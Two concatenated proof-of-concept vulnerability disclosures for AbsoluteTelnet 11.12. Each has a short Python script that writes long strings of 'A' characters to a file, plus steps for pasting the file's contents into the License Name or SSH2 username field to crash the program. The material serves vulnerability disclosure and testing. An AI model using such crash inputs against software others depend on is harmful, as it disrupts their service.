# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 2020-02-05 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe # Tested Version: 11.12 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es #Steps to produce the crash: #1.- Run python code: AbsoluteTelent 11.12_license_name.py #2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard #3.- Open AbsoluteTelnet.exe #4.- Select "Help" > "Enter License Key" #5.- In "License Name" paste Clipboard #6.- Crashed cod = "\x41" * 2500 f = open('AbsoluteTelent_license_name.txt', 'w') f.write(cod) f.close() # Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 2020-02-05 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe # Tested Version: 11.12 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es #Steps to produce the crash: #1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py #2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard #3.- Open AbsoluteTelnet #4.- Select "new connection file", "Connection", "SSH2", "Use last username" #5.- In "username" field paste Clipboard #6.- Select "OK" #7.- Crashed buffer = "\x41" * 1000 f = open ("absolutetelnet_username_SSH2.txt", "w") f.write(buffer) f.close()